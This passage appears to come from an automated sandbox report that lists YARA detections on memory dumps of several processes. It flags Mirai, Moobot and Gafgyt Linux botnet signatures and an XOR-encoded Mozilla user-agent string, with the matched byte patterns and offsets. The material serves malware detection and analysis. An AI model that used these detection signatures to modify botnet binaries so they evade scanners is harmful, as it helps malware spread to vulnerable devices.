78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6759.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6921.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6967.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6819.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6819.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6819.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6819.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6819.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6819.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6765.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6765.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6765.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6765.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6765.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6765.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6544.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6544.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6544.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6544.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6544.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6544.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7374.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6828.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6828.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6828.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7288.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6828.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6828.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6828.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7288.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7288.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7288.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7315.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6504.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6504.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6504.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6504.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
